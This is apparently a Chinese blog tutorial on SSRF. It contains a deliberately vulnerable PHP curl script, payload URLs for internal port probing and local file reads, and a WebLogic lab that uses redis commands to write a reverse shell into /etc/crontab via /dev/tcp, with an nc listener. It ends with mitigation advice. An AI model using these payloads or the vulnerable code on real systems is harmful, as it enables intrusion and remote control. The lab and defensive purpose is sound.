浅谈SSRF-服务器请求伪造-Weblogice框架漏洞


0x00 漏洞原理

当客户端向服务器发送链接请求,这时候服务器会根据请求的URL发送出一个http回应,例如百度识图,当用户向百度识图发送一个图片求其识别,服务器会根据请求处理后返回http信息,也就是返回数据,这里如果没有对请求链接,或者返回的信息左过滤就可能被利用,被利用者发送恶意请求,或者修改返回数据,这样就存在服务器请求伪造。

0x01 漏洞危害

1)端口扫描
2)内网指纹识别
3)对内网web应用造成攻击
4)读取本地文件等
造成威胁前提:curl功能开启,切版本在7.2以上
形成条件

0x02 搭建漏洞基本演示

网站根目录下创建测试站点
将服务器请求返回信息下载保存

<?php
//	ssrf_curl.php
if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = time().".txt";  //在这个目录在这里建立一个以时间为文件名的txt
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');  //以写入的方式打开文件
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);  //定义对url请求返回结果写入的文件对象
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);  //执行url请求
	curl_close($curlObj);  //请求结束
	fclose($fp);  //关闭文件对象
	
	if(getimagesize($fileName)){ //如果是图片文件
		header("Content-Type:image/png");  //定义数据类型
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";  //url变量没有传参时候的报错提示
}
?>

访问正常文件:
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo1.png
?url=http://www.baidu.com/robots.txt
端口探测:
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
读取文帝文件:
?url=file://c:\windows\system32\drivers\etc\hosts
内网web应用指纹识别:
?url=http://localhost/phpMyAdmin4.8.5/README

搭建页面
请求百度,会将数据以文本格式保存,将格式改为html即可访问至百度站点
服务器请求访问百度
请求robots文件

测试端口存活

0x03 SSRF-weblogice框架漏洞

使用docker启动环境测试
docker简单命令:
docker-compose build
docker-compose up -d# 启动并创建在后台运行 暗含第一条命令
docker-compose ps #查看已经启动的docker进程
docker-compose exec 服务名 命令 #在启动的docker服务中运行命令
例:docker-compose exec weblogic ip add 查看weblogiceIP地址
docker-compose down关闭环境

#查看环境地址
端口映射为7001
端口映射
访问漏洞点

抓取数据包

访问请求redis服务端口地址
redis是运维中常见的服务,可以理解为一个在内存中运行的数据库,存储数据类型众多。读写查询速度
快,经常作为缓存使用。
redis缺少用户验证,直接调用它发送三条redis命令,将弹shell脚本写入 /etc/crontab

写入反弹shel攻击机开启监听即可

http://172.18.0.3:6379/test

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& 
/dev/tcp/192.168.213.129/4444 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
攻击机:
nc -lnvp 4444

0x04 漏洞防范

过滤用户输入的URL
限制协议,仅允许 http 或 https 协议
限制IP,避免应用被用来获取内网数据127.0.0.1 192 172,攻击内网
限制端口,限制请求端口为常用端口
过滤输出
过滤返回信息,
只要不符合要求的,全部过滤。 统一错误信息,
让攻击这无法对内网信息进行判断。


文章作者: 告白
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 告白 !
  目录